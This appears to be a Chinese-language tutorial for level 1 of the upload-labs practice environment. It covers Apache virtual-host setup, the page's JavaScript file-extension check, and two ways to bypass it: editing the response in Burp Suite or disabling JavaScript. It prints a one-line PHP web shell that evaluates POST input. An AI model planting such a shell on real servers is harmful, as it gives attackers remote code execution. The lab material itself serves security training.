文件上传:JS验证及绕过
配置Apache虚拟主机
修改httpd文件内容(搜索一下内容,并删除开头注释)
LoadModule vhost_alias_module modules/mod_vhost_alias.so
Include conf/extra/httpd-vhosts.conf
修改httpd-hosts.conf文件
<VirtualHost *:80>
ServerAdmin webmaster@dummy-host2.example.com #服务主机
DocumentRoot "E:\phpStudy2016\WWW\upload-labs" #源码位置
ServerName www.upload.com #域名
ErrorLog "logs/dummy-host2.example.com-error.log" #错误日志
CustomLog "logs/dummy-host2.example.com-access.log" common
</VirtualHost>
一句话木马
<?php
eval ($_POST['pass']);
?>
在上传文件,点击提交时,进行调用该约束文件函数
方法具体内容(筛选过滤上传文件类型)
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif"; //重点重点重点重点重点重点重点重点重点重点
//提取上传文件的类型
//方法返回一个字符串在开始索引到结束索引之间的一个子集, 或从开始索引直到字符串的末尾的一个子集。
var ext_name = file.substring(file.lastIndexOf("."));//根据文件名中的'。'将文件后缀切割出来
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {//判断文件后缀是否合法
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);//弹窗
return false;
}
}
</script>
第一关绕过过程
方法一:
设置拦截响应的网页内容,并修改网页源码,放行至浏览器显示
如果不进行勾选,那么无法拦截服务器响应回来的网页数据
burpsuite中更改页面源码,致使js验证失效
更改过后在浏览器中查看源码,修改成功
复制图片地址
链接成功
方法二
关闭浏览器的js运行
直接关闭网页的js验证
总结:前端验证绕过,关键是禁止验证js代码失效,方法一指定失效代码内容,方法二是使全部js代码内容失效。方法二可能产生一些不可预测的网页错误,因为禁止了所有的js代码。推荐使用方法一,更改指定js代码,其他代码不变。